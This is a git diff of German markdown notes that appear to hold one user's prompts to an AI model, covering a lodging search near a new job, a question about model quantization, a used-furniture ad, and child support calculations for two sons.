diff --git a/Akquise.md b/Akquise.md index 996c745..6f4b710 100644 --- a/Akquise.md +++ b/Akquise.md @@ -1893,3 +1893,156 @@ Du hattest mir zuvor ja für vier Fälle (zwei Bruttojahresgehälter, zwei Homeo Nun haben wir ja die konkreten Zahlen aus dem Arbeitsvertrag; bitte aktualisiere Rechnung, Ergebnis-Tabelle und Report für die zwei Homeoffice-Anteile. Die fiktiven Bruttojahresgehälter sind nicht mehr interessant, bitte verwende nun die Zahlen aus dem Arbeitsvertrag. Ich möchte nun aber auch wissen, wann ich welche Einkünfte erwarten kann; Finanzamt-Erstattungen, die ich irgendwann in der Zukunft nach Abgabe meiner Steuererklärung bekomme, helfen mir jetzt bei der momentan angespannten finanziellen Situaton nicht. Ich denke, ich sollte anstelle täglichen pendelns besser vor Ort eine preiswerte Übernachtungsmöglichkeit suchen. Das wäre finanziell doch sinnvoll, oder? + +--- + +Der Job bei MBDA startet am 1. Oktober 2026, ich muss vor 9 Uhr in Schrobenhausen an der Rezeption sein. + +Nach den ersten Wochen werde ich einschätzen können, wie flexibel die Arbeitszeiten sind und welche Chancen auf Homeoffice während der sechs Monate Tätigkeit bestehen. + +Ich möchte deshalb für die Zeit 30. September 2026 bis 30. Oktober 2026 preiswerte Übernachtungen in einem Quartier nicht weit entfernt vom Einsatzort. Erster Zeitraum 30. September 2026 bis 2. Oktober 2026, danach jeweils von Montag abends bis Freitag morgens. Immer das gleiche Quartier. Ich bin Selbstversorger. + +Ich habe schon etwas angefangen zu suchen, habe aber noch keinen Super-Treffer gelandet. Wichtig sind mir in dieser Reihenfolge: +- Möglichst weniger als 10 km entfernt vom Einsatzort, auf keinen Fall mehr als 25 km entfernt +- Einzelzimmer +- Entweder Tisch zum Arbeiten vorhanden oder Platz für einen selbst mitgebrachten Tisch vorhanden +- Preiswert +- Bad und WC für mich allein +- Kühlschrank +- Wifi + +Meine Suche habe ich in `Q:\DesTEngS\Pro\Git\bewerb\docs\tmp\Übernachtungen_Nahe_Schrobenhausen.ods` dokumentiert. + +Bitte spawne einen Opus AI Agent der mir passende Übernachtungsmöglichkeiten sucht und für fehlende Preisangaben bei interessanten Anbietern jeweils einen Anfrage-Entwurf erstellt, der unter `Q:\DesTEngS\Pro\Git\bewerb\docs\tmp` gespeichert wird. Statte ihn mit den nötigen Infos aus. Vorher interviewe mich noch, damit du alle nötigen Infos hast und deine Aufgabe komplett verstanden hast. + +--- + +Portale plus lokale Pensionen und Ferienwohnungen und zusätzlich Booking, Airbnb und Hotels. Küche ist lediglich nice-to-have; nur Kühlschrank ist hilfreich, den gibt es meistens auch in preiswerten Hotels. + +--- + +Sehr gut, vielen Dank. + +Mir ist allerdings unklar, warum du die Spalten I und J nicht mit Formeln versehen und ausgerechnet hast. Bitte hole das nach oder begründe, warum es nicht sinnvoll wäre. + +--- + +Ja, ich möchte gern Formel statt absoluter Werte. Ideal wäre es, wenn du gleich .ods statt .csv generieren könntest. + +Ich lege keinen Wert auf Durchbuchung - Sachen im Quartier übers Wochenende stehen lassen zu können ist mir keinen finanziellen Mehraufwand wert. Kannst du das bitte noch in deinen Ergebnissen anpassen? + +--- + +Ich habe mir das Boarding Haus Wolf Angebot angesehen. Du hattest als einfache Entfernung 13,2 km herausgefunden, Google Maps zeigt mir allerdings bei der Entfernung `Hagenauer Forst 27, 86529 Schrobenhausen` nach `Am Weiher 32, 86554 Pöttmes` 17,8 km an. Woher kommt der Unterschied und welche Entfernung stimmt? + +--- + +Ich bin enttäuscht von der Qualität deiner Recherche. + +Als Link brauche ich natürlich den Link zum Quartier, also z.B. `https://mein-monteurzimmer.de/139607/monteurzimmer/motzenhofen-zimmervermietung-walterhttps://mein-monteurzimmer.de/139607/monteurzimmer/motzenhofen-zimmervermietung-walter` und nicht `https://mein-monteurzimmer.de/monteurzimmer-schrobenhausen`. + +Treffer 1 und 3 haben wohl nur Gemeinschaftsbäder oder sind nicht für Einzelperson-Buchung gedacht. + +## Gästehaus Eselhof + +"Wir bieten Firmen und Monteuren schön eingerichtete, komfortable Wohnungen und Apartments für 2, 3 und 4 Personen." verstehe ich so, dass sie nicht für den Preis für eine Person vermieten wollen. + +## Zimmervermietung Walter + +Bei allen Quartieren auf `https://mein-monteurzimmer.de/139607/monteurzimmer/motzenhofen-zimmervermietung-walter` steht "(Dusche/WC auf dem Flur)" dabei. + +--- + +Boarding Haus Wolf ist im Oktober schon ausgebucht. + +Pension Streber-Kraus hat wahrscheinlich das attraktivste Angebot, Maria Streber-Kraus antwortete per E-Mail: +``` +Herzlichen Dank für Ihre EZ- Anfrage. +Vom Mittwoch bis Freitag ist ein EZ in meinem Haus frei und der KW 41 und 42 wäre in der Prinz-Ludwig-Str.1 ( 3 Min. Vom Bahnhof/Bus zur MBDA) entfernt) ein EZ frei. Ansonsten wäre in meinem Haus durchgehend ein EZ frei. +Kosten: 43 € pro Ü. +Gerne können wir uns vor Ort über längerfristiges Mietverhältnis unterhalten. +Das Zimmer ist mit Schreibtisch ausgestattet. Es steht auch eine voll ausgestattete Wohnküche zur Verfügung. +Falls ich das Zimmer an den Wochenenden ( im Winter weniger ) nicht benötige, können sie Ihre Sachen drin lassen. +Über eine positive Rückmeldung würde ich mich sehr freuen. +``` + +Mein Problem: Ich finde bei Google Maps keine `Prinz-Ludwig-Str. 1` in der Nähe von Schrobenhausen. Bitte spawne einen Opus Subagent, der sich darum kümmert, welche Adresse da gemeint ist. Vielleicht ist die Schreibweise geringfügig falsch. Eventuell lässt sich auch herausfinden, welche Objekte Maria Streber-Kraus noch hat. + +--- + +Von meiner Vorgabe "immer das gleiche Quartier" würde ich abrücken, wenn Gesamtpreis und Alternativ-Unterkunft attraktiv sind, was hier offensichtlich der Fall ist. + +Auf mein Auto und die damit verbundene Flexibilität und Individualität möchte ich nicht verzichten, auch wenn die Busverbindung gut ist. + +Pension Streber-Kraus hat ein Gemeinschaftsbad, das ließ sich der Webseite entnehmen. Eine WG-artige Lösung mit Gemeinschaftsbad wäre daher kein Nachteil. + +Ich würde antworten: + +--- + +Danke für deine Tipps, zwei davon würde ich nicht umsetzen, weil ich sie für nicht nötig halte. + +Mein angepasster Entwurf: +``` +Sehr geehrte Frau Streber-Kraus, + +vielen Dank für Ihr interessantes Angebot. Ich habe noch Rückfragen zum alternativen Quartier für KW 41 und KW 42: Eine „Prinz-Ludwig-Straße" finde ich in +Schrobenhausen nicht — meinen Sie die Herzog-Ludwig-Straße 1 direkt am Bahnhof, oder eine andere Straße? Und hätte ich im alternativen Quartier auch Schreibtisch, WLAN und Küche? Die Herzog-Ludwig-Straße 1 liegt in der Innenstadt - hätte ich dort eine kostenlose Parkmöglichkeit? + +Wäre der Gesamtpreis (auch mit alternativem Quartier für KW 41 und KW 42) 18 Nächte x 43 € / Nacht = 774 €? + +Mit besten Grüßen + + Thomas Langer +``` + +--- + +Die Antwort: +``` +Vielen Dank für Ihre schnelle Rückmeldung. +Oh, entschuldigen Sie bitte, meinte natürlich die Herzog-Ludwig -Str. 1. +Bei beiden Quartieren sind WLAN, eine Küche und kostenloser Parkplatz. +Kosten sind bei beiden Quartieren gleich und gerne ein Gespräch vor Ort. +``` + +Ich würde nun antworten: +``` +Sehr geehrte Frau Streber-Kraus, + +sehr gut, dann möchte ich die von mir genannten 18 Nächte nun verbindlich zum Gesamtpreis von 774 € inkl. Umsatzsteuer buchen. + +Gern unterhalten wir uns dann vor Ort für die Zeit ab November. + +Bitte bestätigen Sie mir die Buchung. + +Mit besten Grüßen und bis zum 30. September + + Thomas Langer +``` + +Auf der Webseite steht "Check-In ist von Montag bis Freitag von 16.00 Uhr - 20.00 Uhr", also werde ich nicht nochmal danach fragen. + +--- + +Sehr geehrte Frau Streber-Kraus, + +vielen Dank für die Klarstellung. Dann möchte ich verbindlich buchen: + + Mi 30.09. – Fr 02.10.2026 2 Nächte Adalbert-Stifter-Str. 23 + Mo 05.10. – Fr 09.10.2026 4 Nächte Herzog-Ludwig-Str. 1 + Mo 12.10. – Fr 16.10.2026 4 Nächte Herzog-Ludwig-Str. 1 + Mo 19.10. – Fr 23.10.2026 4 Nächte Adalbert-Stifter-Str. 23 + Mo 26.10. – Fr 30.10.2026 4 Nächte Adalbert-Stifter-Str. 23 + +Das sind 18 Nächte zu je 43 €, Gesamtpreis 774 €. + +Sollte ich die Zuordnung der beiden Quartiere falsch verstanden haben oder der Gesamtpreis anders sein, geben Sie mir bitte Bescheid. + +Über die Zeit ab November unterhalten wir uns dann gern vor Ort; mein Einsatz ist ja zunächst auf sechs Monate angelegt. + +Bitte bestätigen Sie mir die Buchung. + +Mit besten Grüßen und bis zum 30. September + + Thomas Langer diff --git a/Dirty-Prompts.md b/Dirty-Prompts.md index 04b350b..b264280 100644 --- a/Dirty-Prompts.md +++ b/Dirty-Prompts.md @@ -1058,3 +1058,7 @@ Ich bedanke mich für Ihr Verständnis und Ihre Kulanz. Mit besten Grüßen Thomas Langer + +--- + +The article `https://x.com/yume_arasaki/status/2102395182184534404` states EXL3 has a relatively good quality. I know that common 3-bit quantization has a severe impact on LLM inference while 4-bit quantization is acceptable. Is EXL3 really a game changer? Please explain; in case EXL3 is too new for your knowledge (your training data might be just outdated) do a research. Also find examples for recent LLMs like Qwen3.8-27B which compare intelligence of 16-bit, 8-bit, 4-bit and EXL3 quantizations. diff --git a/Handel-mit-Gebrauchtem.md b/Handel-mit-Gebrauchtem.md index ccfe511..b7f4816 100644 --- a/Handel-mit-Gebrauchtem.md +++ b/Handel-mit-Gebrauchtem.md @@ -54,4 +54,181 @@ Gib mir deine Einordnung, wie meine Verkaufschancen stehen und welchen Preis du Generiere einen Entwurf für den Anzeigentext. +--- + +Dankeschön, ich habe den Entwurf etwas angepasst: +``` +Verkaufe ein neuwertiges Set aus PAIDI Kinderschreibtisch und +passendem Rollcontainer. Beides wurde nur wenig genutzt und ist +entsprechend gut erhalten. + +SCHREIBTISCH + +- Marke PAIDI, mitwachsend von der Einschulung bis zum Abitur +- Maße ca. 120 x 70 cm +- Leicht stufenlos höhenverstellbar per Kurbel, ca. 53 bis 78 cm +- Durchgehende Tischplatte, kein geteilter Aufsatz +- Tischplatte neigbar zum Zeichnen und Lesen +- Große Schublade unter der Platte +- Stiftablage an der Vorderkante +- Klemmbares Lineal +- Haken für den Schulranzen +- Kurbel und Haken wahlweise links oder rechts nutzbar, + also für Rechts- und Linkshänder geeignet + +ROLLCONTAINER + +- 45 cm breit, 61 cm tief, 53 cm hoch +- Vorn drei Schubkästen +- Hinten zwei offene Fächer, dadurch beidseitig nutzbar +- Rollen mit Bremse +- Keinerlei Gebrauchsspuren + +ZUSTAND + +Der Container ist ohne jeden Makel, am Tisch gibt es drei +Kleinigkeiten: + +1. Eine etwa fingernagelgroße Stelle mit Kleberresten auf der + Platte, im Alltag praktisch nicht sichtbar +2. Das aufklemmbare Plastiklineal hat sich bräunlich verfärbt +3. Von den ursprünglich zwei Endkappen der Stiftablage fehlt eine + +Sonst keine Kratzer, keine Dellen, keine abgestoßenen Kanten. +Alle Funktionen sind einwandfrei. + +ABHOLUNG + +Nur Selbstabholung aus meinem Büro in 82008 Unterhaching. Abholung bevorzugt +werktags nach Absprache, gerne auch am Abend. + +Der Tisch ist fertig montiert, bitte an die entsprechende Transportmöglichkeit denken oder nach dem Kauf selbst zerlegen. + +Privatverkauf, daher keine Garantie, keine Rücknahme und +kein Umtausch. Kein Versand, kein Tausch. +``` + +--- + +Danke für deine Verbesserungen. Ich bin nicht im Büro und habe erst in vier Tagen die Gelegenheit, nach dem Typenschild zu sehen und ein neues Foto zu machen. Der Haken ist auf einem der vorhandenen Fotos aber schon mit drauf. Ich will die Anzeige heute noch online stellen; ggf. editiere ich sie dann in vier Tagen. + +Ich lege Wert auf meinen Formulierungs-Stil, daher habe ich nicht alles von deinem neuen Text übernommen. Das habe ich jetzt: + +Kann ich das so als Anzeigentext verwenden, oder findest du noch Fehler? + +--- + +``` +PAIDI höhenverstellbarer Kinderschreibtisch + Rollcontainer in hellem Holzdekor + +Verkaufe ein neuwertiges Set aus PAIDI Kinderschreibtisch und PAIDI Rollcontainer, beides in hellem Holzdekor. Die Möbel wurden nur wenig genutzt und sind entsprechend gut erhalten. + +SCHREIBTISCH + +- Marke PAIDI, mitwachsend von der Einschulung bis zum Abitur +- Maße ca. 120 x 70 cm +- Stufenlos und leichtgängig höhenverstellbar per Kurbel, 53 bis 78 cm, mit Skala +- Durchgehende Tischplatte, kein geteilter Aufsatz +- Tischplatte neigbar zum Zeichnen und Lesen +- Breiter Metallauszug über fast die volle Tischbreite, mit integrierter Stiftablage an der Vorderkante +- Klemmbares Lineal an der Tischkante +- Haken für den Schulranzen +- Hölzerne Sichtblende an der Rückseite +- Kurbel und Haken wahlweise links oder rechts nutzbar + +ROLLCONTAINER + +- Ebenfalls PAIDI, farblich passend zum Tisch +- 45 cm breit, 61 cm tief, 53 cm hoch +- Vorn drei Schubkästen, oberster abschließbar, Schlüssel ist vorhanden +- Hinten zwei offene Fächer, dadurch beidseitig nutzbar +- Rollen mit Bremse +- Keinerlei Gebrauchsspuren + +ZUSTAND + +Der Container ist ohne jeden Makel, am Tisch gibt es drei Kleinigkeiten: + +- Eine etwa fingernagelgroße Stelle mit Kleberresten auf der Platte, im Alltag praktisch nicht sichtbar +- Das aufklemmbare Plastiklineal hat einen bernsteinfarbenen Ton angenommen +- Von den ursprünglich zwei Endkappen der Stiftablage fehlt eine. Für die Fotos habe ich die verbliebene ebenfalls abgenommen, sie gehört aber zum Lieferumfang. + +Sonst keine Kratzer, keine Dellen, keine abgestoßenen Kanten. Alle Funktionen sind einwandfrei, siehe Fotos. + +Bei voller Auszugshöhe von 78 cm ist der Tisch auch für Jugendliche und Erwachsene ein vollwertiger Arbeits-, Hobby- oder Zeichentisch. + +ABHOLUNG + +Nur Selbstabholung aus meinem Büro in 82008 Unterhaching. Abholung bevorzugt werktags nach Absprache, gerne auch am Abend. + +Der Tisch ist fertig montiert, bitte an die entsprechende Transportmöglichkeit denken oder nach dem Kauf mit eigenem Werkzeug selbst zerlegen. + +Privatverkauf unter Ausschluss jeglicher Sachmängelhaftung. Keine Rücknahme, kein Umtausch, kein Versand, kein Tausch. +``` + +--- + +Die Anzeige hatte ich so eingestellt am 4. September 2026. + +Bis jetzt gab es 36 Besuche und mein Angebot ist auf nur einer Merkliste. Kontaktiert worden bin ich noch gar nicht. + +Ich lade nun noch zwei Fotos hoch: 1. Tisch und Rollcontainer auf einem Bild und 2. Die Klebereste-Stelle. + +Ich glaube, ich sollte den Preis deutlich reduzieren. Was meinst du? + +--- + +Heute bin ich wieder im Büro. Ich habe nach einem Typenschild des Tisches gesucht, aber keins gefunden, nicht unter der Platte und auch sonst nirgends. + +Meine Anzeige hatte 45 Aufrufe und ist auf nur einer Merkliste. + +Vielleicht ist das verfärbte Aufsteck-Lineal hinderlich, weil es dem Tisch einen alten, vom Zahn der Zeit veränderten Touch gibt. + +Ich versuche nun, den Tisch ohne Lineal und ohne Endkappen zu verkaufen. Dafür habe ich Lineal und Endkappen entfernt und drei Fotos neu aufgenommen (anbei). Im Anzeigentext weise ich nicht auf den Verlust hin. Außerdem senke ich den Preis auf 149 Euro. + +Mein angepasster Text: + + +--- + +``` +Verkaufe ein neuwertiges Set aus PAIDI Kinderschreibtisch und PAIDI Rollcontainer, beides in hellem Holzdekor. Die Möbel wurden nur wenig genutzt und sind entsprechend gut erhalten. + +SCHREIBTISCH + +- Marke PAIDI, mitwachsend von der Einschulung bis zum Schulabschluss +- Maße ca. 120 x 70 cm +- Stufenlos und leichtgängig höhenverstellbar per Kurbel, 53 bis 78 cm, mit Skala +- Durchgehende Tischplatte, kein geteilter Aufsatz +- Tischplatte neigbar zum Zeichnen und Lesen +- Breiter Metallauszug über fast die volle Tischbreite, mit integrierter Stiftablage an der Vorderkante +- Haken für den Schulranzen +- Hölzerne Sichtblende an der Rückseite +- Kurbel und Haken wahlweise links oder rechts nutzbar + +ROLLCONTAINER + +- Ebenfalls PAIDI, farblich passend zum Tisch +- 45 cm breit, 61 cm tief, 53 cm hoch +- Vorn drei Schubkästen, oberster abschließbar, Schlüssel ist vorhanden +- Hinten zwei offene Fächer, dadurch beidseitig nutzbar +- Rollen mit Bremse +- Keine Gebrauchsspuren + +ZUSTAND + +Der Container ist makellos, am Tisch gibt es eine Kleinigkeit: Eine ca. 1,5 cm große Stelle mit Kleberresten auf der Platte, im Alltag praktisch nicht sichtbar (siehe letztes Foto). + +Sonst keine Kratzer und keine abgestoßenen Kanten, alle Funktionen sind einwandfrei. + +Bei voller Auszugshöhe von 78 cm ist der Tisch auch für Jugendliche und Erwachsene ein vollwertiger Arbeits-, Hobby- oder Zeichentisch. + +ABHOLUNG + +Nur Selbstabholung aus meinem Büro in 82008 Unterhaching. Abholung bevorzugt werktags nach Absprache, gerne auch am Abend. + +Der Tisch ist fertig montiert, bitte an die entsprechende Transportmöglichkeit denken oder nach dem Kauf mit eigenem Werkzeug selbst zerlegen. + +Privatverkauf unter Ausschluss jeglicher Sachmängelhaftung. Keine Rücknahme, kein Umtausch, kein Versand, kein Tausch. +``` diff --git a/Kindesunterhalt.md b/Kindesunterhalt.md new file mode 100644 index 0000000..2b929c2 --- /dev/null +++ b/Kindesunterhalt.md @@ -0,0 +1,217 @@ +# Unterhalt für Söhne + +## Motivation + +Bitte hilf mir bei der Berechnung von Unterhaltszahlungen für meine Söhne. + +## Situation + +### Kinder + +Ich habe zwei Söhne, für die ich unterhaltspflichtig bin. + +Richard wird im Sommer 2026 sein Bachelor Abschluss machen. + +Arthur hat vor einigen Monaten seine erste Ausbildung abgebrochen und wird ab Mitte September 2026 ein Gymnasium besuchen, um sein Abitur nachzuholen. Seit dem Abbruch seiner Ausbildung habe ich die Unterhaltszahlungen für Arthur ausgesetzt. Mit dem Besuch der neuen Schule werde ich Arthur wieder Unterhalt bezahlen. + +### Kindesmutter + +Astrid, die Mutter meiner Söhne, ist als Angestellte berufstätig. + +### Meine Einkünfte + +In den letzten 15 Jahren habe ich nur als Freiberufler gearbeitet und nur Einkünfte aus selbstständiger Tätigkeit erzielt. Meine Einkünfte in 2025 und 2026 waren sehr niedrig. Ab dem 1. Oktober 2026 werde ich als Leiharbeitnehmer arbeiten zu einem effektiven Stundensatz, der weniger als die Hälfte meiner früheren Freiberufler-Stundensätze ist. + +### Wieder verheiratet + +Ich habe 2024 neu geheiratet, meine Ehefrau heißt Janina und ist als Angestellte berufstätig. + +## Unterhalts-Berechnung + +### Bisherige Unterhalts-Berechnung + +Als Freiberufler habe ich keine von einem Arbeitgeber errechneten Brutto- oder Netto-Einkünfte gehabt. Für die bisherige Unterhalts-Berechnung habe ich eine eigene Rechenweise aufgestellt, bei der ich aus meiner Buchhaltung entnommen habe, welche Netto-Einkünfte ich aus Privatentnahmen und geldwerten Vorteilen hatte; diese habe ich bei einem fiktiven Altersvorsorge-Betrag zugrunde gelegt. + +Meine letzte Berechnungstabelle für Arthur ist `Q:\W_L_Cloud\W\Arthur\Unterhalt\Unterhalt_Arthur_seit_2025-01-01.ods`. + +Meine letzte Berechnungstabelle für Richard ist `Q:\W_L_Cloud\W\Richard\Unterhalt\Unterhalt_Richard_seit_2026-04-01.ods`. + +Beide Tabellen sind von mir so gut es mir möglich war aufgestellt worden. Sie sind nicht anwaltlich geprüft worden und könnten fehlerhaft sein. + +## Deine Aufgaben + +Du bist mein fachlich versierter Berater bei der Aufstellung neuer Unterhalts-Berechnungen. + +### Interview + +Nutze zuerst dein AskUserQuestions-Tool, um mich solange zu interviewen, bis du die Situation und deine Aufgaben vollständig verstanden hast und alle nötigen Informationen bekommen hast. + +### Generelle Einordnung + +Erstelle dann eine generelle Einordnung meiner Situation. Wie wirkt sich die Eheschließung von 2024 auf den Unterhalt für meine Söhne aus? + +### Neue Unterhalts-Berechnungen + +Erstelle anschließend neue Unterhalts-Berechnungen für Arthur und Richard. + +--- + +Ich hoffe, dass ich nach den sechs Monaten Tätigkeit als Leiharbeitnehmer wieder einen Auftrag als Freiberufler bekomme, aber realistisch betrachtet ist das fraglich, weil ich monatelang intensiv versucht habe, einen Auftrag zu bekommen, es aber nicht geklappt hat. Ein dauerhafter Wechsel der Einkommensart ist also weder geplant noch erwünscht, aber muss befürchtet werden. + +Bitte daher beides parallel darstellen, damit ich die Auswirkungen sehe. + +--- + +Dazu habe ich eine Claude Code Analyse als PDF, die ich dir gleich geben kann. + +--- + +Ich habe dir unter `Q:\W_L_Cloud\W\Arthur\Unterhalt` diese relevanten Dateien abgelegt: +- `Effektives-Stundeneinkommen_MBDA-Schrobenhausen_Vertragsfassung_2026-08-23.pdf` ist die erwähnte Analyse, noch für die erste Vereinbarung über fünf Monate Leiharbeit ab 1. September 2026 +- `Arbeitsvertrag_SThree_MBDA_2026-10-01_bis_2027-03-31.pdf` ist der aktuelle Arbeitsvertrag, die neue Vereinbarung über sechs Monate Leiharbeit ab 1. Oktober 2026 +- `Von-Astrid_Verdienstbescheinigungen-August-2026_und_Auflistung.txt` ist der E-Mail Text, in dem Astrid ihre letzten Verdienste auflistet +- `Von-Astrid_August2026 Gehalt.pdf` ist Astrids letzte Gehaltsabrechnung +- `Von-Astrid_Ihre Krankengeld-Zahlung endet.pdf` ist die Information von Astrids Krankenkasse, wieviel Krankengeld sie bekommen hat + +Am besten spawnst du einen Opus Subagent, der die Dateien durchgeht und dir die benötigten Resultate hier zur Verfügung stellt, damit wir das Kontext-Fenster dieser Session nicht unnötig verschwenden. + +Arbeitsort ist Schrobenhausen, Wohnort ist 85659 Forstern. Ich werde Sonntags nach Schrobenhausen fahren, dort bis Freitag in einem Air-bnb oder einer Monteurunterkunft wohnen und Freitag nach der Arbeit wieder nach Hause fahren. Die Kosten für die Unterkunft oder Zweitwohnung sind zu berücksichtigen. + +Arthur ist 19 (Geburtsdatum 25. Oktober 2006), Richard ist 26 (Geburtsdatum 08. Juli 2000). + +Astrid für Arthur, für Richard gibt es kein Kindergeld mehr. + +Richard absolvierte zuerst ein FSJ, dann fühlte er sich `noch nicht bereit` für das Studium und hatte deswegen eine Weile lang gar nichts gemacht. + +Arthur hat die Ausbildung zum Berufskraftfahrer im zweiten Lehrjahr mit mehreren Ausreden abgebrochen, z.B. +- Er möchte später nicht fern von zu Hause im LKW übernachten müssen +- Er scheut sich vor der Verantwortung, LKW zu fahren +- Es gab `Rechte` (politisch andersdenkende) in der Berufsschule, gegen die nichts unternommen wurde + +Ups, ich hatte vergessen, den E-Mail Text von Astrid in die Datei zu kopieren. Jetzt ist der Inhalt drin, bitte damit fortfahren. + +--- + +Dankeschön. Ab hier konzentrieren wir uns nur auf Arthur und lassen die Unterhaltszahlung an Richard erst mal weg. + +In der E-Mail von Astrid war ihr Kommentar zu ihrem Juni-Betrag 5.011,04 € "Sonderzahlung Urlaubgeld", deswegen ist er höher als in den anderen Monaten. + +Bitte sieh dir `Q:\W_L_Cloud\W\Arthur\Unterhalt\Unterhalt_Arthur_seit_2026-09-01_v0p4.ods` an, dort habe ich meine Privatentnahmen und Privateinlagen sowie Astrids Nettoeinkünfte eingetragen. + +Zu meiner Altersvorsorge: Bisher hatte ich eine fiktive Zahl zugrunde gelegt, die ungefähr dem entspricht, was ich zahlen würde, wenn ich eine Festanstellung hätte; das erschien mir fair. + +Mit deiner Sachkenntnis würde ich dort gern eine korrekte Zahl eintragen. Welche Optionen gibt es dafür und welche sind empfehlenswert, wenn ich möglichst wenig Unterhalt zahlen möchte, aber ehrlich bin? + +--- + +Danke. + +Interpretiere ich das richtig, dass ich nur max. 18,6% meines Gewinns als Altersvorsorge geltend machen kann? Also wenn ich in 2026 bisher fast keinen Gewinn gemacht habe, darf ich nichts für die Altersvorsorge ansetzen? + +Nein, freiwillige DRV-Beiträge, ein Versorgungswerk oder eine Rürup-/Basisrente gab es nicht. + +Warum hast du bei Astrid pauschal `berufsbedingte Aufwendungen 5 % vom Erwerbseinkommen` abgezogen? Du weißt doch gar nicht, ob sie solche Aufwendungen hatte. Ich weiß hingegen, dass ich die von mir angegebenen Aufwendungen hatte. Ich rechne also nicht mit zweierlei Maß, wie du mir unterstellt hast. + +Im Übrigen glaube ich, dass es gar nicht meine Aufgabe ist, Arthurs Unterhalt im Detail auszurechnen - prinzipiell müsste er das, mit den nötigen Infos von mir, selbst machen. Generell möchte ich Astrid keine vermeidbaren Vorteile in einer von mir erstellten Rechnung angedeihen lassen. Astrid kann ja ebenfalls eine Unterhaltsberechnung für Arthur aufstellen bzw. meine Unterhaltsberechnung ergänzen. + +Du erklärtest, gegenüber Arthur ist die sekundäre Vorsorge (die 4 %) angreifbar; kann ich dann nicht auch Astrids ZV-Arbeitnehmerbeitrag raus lassen? + +Du schriebst in die Tabelle "Diese Tabelle gilt für die freiberufliche Einkommenslage. Ab dem 01.10.2026 (Leiharbeit) ist eine eigene Berechnung auf Basis des tatsächlichen Arbeitseinkommens zu erstellen." aber ich sehe die sechs Monate Leiharbeit nicht als Ende meiner Freiberuflichkeit an und ich werde während dieser Zeit auch freiberufliche finanzielle Verpflichtungen haben (z.B. Miete für Büroräume). Bitte kommentieren. + +Ich suche jetzt die Einzahlungen für meine Altersvorsorge raus und trage sie ein. + +--- + +Dankeschön. Ich habe in die Tabelle `Q:\W_L_Cloud\W\Arthur\Unterhalt\Unterhalt_Arthur_seit_2026-09-01_v0p6.ods` meine gezahlten Beiträge zur Altersvorsorge eingetragen. EÜRs habe ich nur bis 2024, weil ich die Steuererklärung 2025 noch nicht angefertigt habe. Für 2023 habe ich den Gewinn nicht eingetragen, weil ja nur vier Monate von 2023 in die Unterhaltsberechnung eingehen; für 2024 habe ich meinen Gewinn eingetragen. + +Bitte prüfe es und gib mir Feedback. + +--- + +## Zu 1. + +Ups, stimmt, danke fürs Fehler finden. + +## Zu 2. + +Wir gehen davon aus, dass ich über 36 Monate einen Gewinn von mehr als 24.330,59 € ÷ 0,186 = 130.809,62 € hatte. + +Eine eigene vorläufige EÜR für 2025 und Jan. - Aug. 2026 mit meiner Buchhaltung zu erstellen, wäre Zeitverschwendung. Das würde ich nur bei einem Angriff als Reaktion machen, ansonsten wird es der Steuerberater ohnehin machen und meine Annahme dann im Nachhinein bestätigen. + +## Zu 4. + +Die von dir in meine ursprüngliche Tabelle eingefügten Zeilen, die ich nicht drin haben möchte, werden nach Fertigstellung unserer Berechnungen wieder entfernt; dann sind auch die EÜR-Gewinne nicht mehr sichtbar. + +Ansonsten ist meine Buchhaltung auch wegen meiner Unterhaltspflicht konsequent so ausgelegt, dass meine Privatentnahmen zum Nettoeinkommen korrekt erfasst werden. In der Differenz zwischen EÜR-Gewinn und Privatentnahmen zum Nettoeinkommen sind tatsächlich Steuerzahlungen, Rücklagen und Guthaben auf dem Geschäftskonto. + +## Nächste Version + +Bitte erstelle nun die nächste Version der Tabelle, in der +- Der Fehler aus 1. korrigiert ist. +- Die Deckelung der Altersvorsorge-Beiträge entfernt ist. +- Bei der Altersvorsorge die Zeilen mit Gewinn und derzeit nicht vorhandenen Beiträgen entfernt sind. +- Bei der Altersvorsorge die gezahlten Beiträge als negative Zahlen stehen, damit sie rot gezeigt werden. +- Die Zeile mit berufsbedingte Aufwendungen der Mutter entfernt ist. +- Die Hinweise entfernt sind. +- Keine farbigen Zellen-Hintergründe mehr vorkommen. + +--- + +Schon ganz gut, bitte nun die nächste Version erstellen. + +Du hattest die Zahlen der Düsseldorfer Tabelle leider als Spalten K und L neben die Spalten A bis I gesetzt. Das stört mich, wenn ich an den Spalten A bis I optimiere. Bitte verschiebe die Zahlen der Düsseldorfer Tabelle an das Ende unserer Tabelle (im Moment ab Zeile 69). + +Danach bitte die Zeile mit der unnötigen dominanten Überschrift `Altersvorsorge (AV)` entfernen. + +Konsequenterweise sollen auch die Zahlen bei `Gezahlte Kranken- und Pflegeversicherung (KV+PV)` als negative Zahlen erfasst werden, damit auch diese rot dargestellt werden. + +Entferne bitte auch den Abschnitt `Kontrollen`. + +--- + +Oh, stimmt, an Richard muss ich ja auch noch zahlen. Also haben wir wohl den Abschnitt `Kontrollen` zu früh entfernt. Aber wenn meine Netto-Einkünfte nicht ausreichen, wird ja zuerst Arthur bedient und bei Richard gekürzt, stimmt's? + +Ich habe unsere Tabelle noch etwas verschlankt und umformatiert, bitte sieh dir nochmal die Version 0p9 an. Diese würden wir auch als Basis für die Unterhaltsberechnung für Richard nehmen, falls du nichts Verbesserungswürdiges mehr findest. + +--- + +Ja, bitte die beiden Formelkorrekturen in der Arthur-Tabelle (v0p10) vornehmen, dann daraus die Richard-Tabelle ableiten. + +Wichtig für dich zu wissen: Wir gehen davon aus, dass Richard für sein Master-Studium keine Unterhalts-Ansprüche mehr gegen mich erhebt. Ich zahle also nur noch so lange, wie für sein Bachelor-Studium erforderlich; ich glaube, das sind drei Monate länger als er seinen Bachelor-Abschluss hat. + +Die Themen Bafög, Beitrag zur studentischen Krankenversicherung und Semesterbeitrag seiner Master-Hochschule brauchen wir daher hier nicht zu thematisieren. + +--- + +Prima, die Arthur Tabelle ist jetzt meiner Meinung nach fertig. + +Die bisherige Unterhalts-Berechnung für Richard ist `Q:\W_L_Cloud\W\Richard\Unterhalt\Unterhalt_Richard_seit_2026-04-01.ods`. + +Meines Wissens ist ein Teil von Richards Job Netto-Einkünften anrechnungsfrei; du hast für Richards neue Tabelle wohl `„davon anrechnungsfrei" ist ein fester Wert 0, kein Bezug auf Zeile 51. Eigene Einkünfte werden bei Richard voll angerechnet, anders als bei Arthurs Schüler-Nebenjob` verwendet. Bitte checke das nochmal sehr gründlich, damit wir diese Diskrepanz verstehen und unsere Rechnung für Richard auf jeden Fall korrekt ist. + +--- + +Arthurs Tabelle können wir so lassen, wenn ich dich richtig verstanden habe, weil die Deckelung derzeit nicht 